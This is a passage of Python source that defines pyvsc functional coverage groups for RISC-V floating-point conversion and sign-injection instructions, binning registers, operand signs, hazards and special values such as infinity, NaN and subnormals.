pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fcvt_l_s_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_lu_s_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_l_d_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_lu_d_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_w_d_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fcvt_wu_d_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fcvt_s_w_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fcvt_s_wu_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fcvt_s_l_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fcvt_d_l_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_s_lu_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fcvt_d_w_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fcvt_d_lu_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_d_wu_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fsgnj_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsgnj_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, 